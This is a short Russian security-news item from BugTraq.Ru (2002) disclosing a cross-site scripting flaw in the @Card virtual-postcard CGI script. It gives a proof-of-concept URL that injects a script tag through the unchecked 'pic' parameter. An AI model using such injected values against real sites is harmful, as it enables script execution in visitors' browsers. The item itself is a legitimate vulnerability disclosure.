BugTraq.Ru
 Русский BugTraq
http://www.bugtraq.ru/rsn/archive/2002/07/28.html

В меру опасные виртуальные открытки
dl // 20.07.02 01:09
@Card - система/скрипт посылки виртуальных открыток.
[Не забывайте при копировании материала указывать полный адрес источника: http://www.bugtraq.ru/rsn/archive/2002/07/28.html]
Присутствует уязвимость использования XSS. Из-за отсутствия проверки переменной 'pic' атакующий имеет возможность удалённо исполнить любой код в браузере из уязвимого сервера заменив или добавив к используемой открытке, код с закрытием кавычки в начале.

--Использование--
www.vulnerable.url/cgi-bin/ecards/upcardme.cgi?step=1&pic=Spider_Man/ 2733369507.jpg><script>alert("eraser%20was%20here%20:)")</script> &lang=english.pm

Источник: Advisory by Eraser    
теги: xss  |  обсудить  |  все отзывы (0) [5406]
назад «  » вперед

аналогичные материалы
Имя компании как средство XSS-атаки // 30.10.20 17:01
XSS в школьном журнале // 01.10.12 20:06
Кража кук через поддомены - еще один привет из прошлого // 04.11.09 11:17
Победа российской команды на C.I.P.H.E.R. 4 // 04.08.08 01:17
Тысячи сайтов продолжают раздавать опасные флеш-ролики // 28.03.08 00:59
Apple залатала 13 дырок в Safari // 18.03.08 23:01
Первая атака на маршрутизаторы с использованием XSS // 24.01.08 21:24
  
последние новости
PHP2Shell начали эксплуатировать за четыре дня до патчей // 22.10.26 17:19
Четыре уязвимости Plex объединяют в цепочку для захвата серверов // 22.10.26 14:16
Вредоносный релиз LiteLLM // 22.10.26 13:26
Мощные индийские ключи // 21.10.26 21:01
Срочные патчи для критических уязвимостей в PHP // 21.10.26 20:24
Очередной рекордный патч Microsoft // 14.10.26 17:36
Атакуя банки с помощью ИИ-агентов, не забывайте чистить свое резюме // 11.10.26 20:18




  Copyright © 2001-2026 Dmitry Leonov Design: Vadim Derkach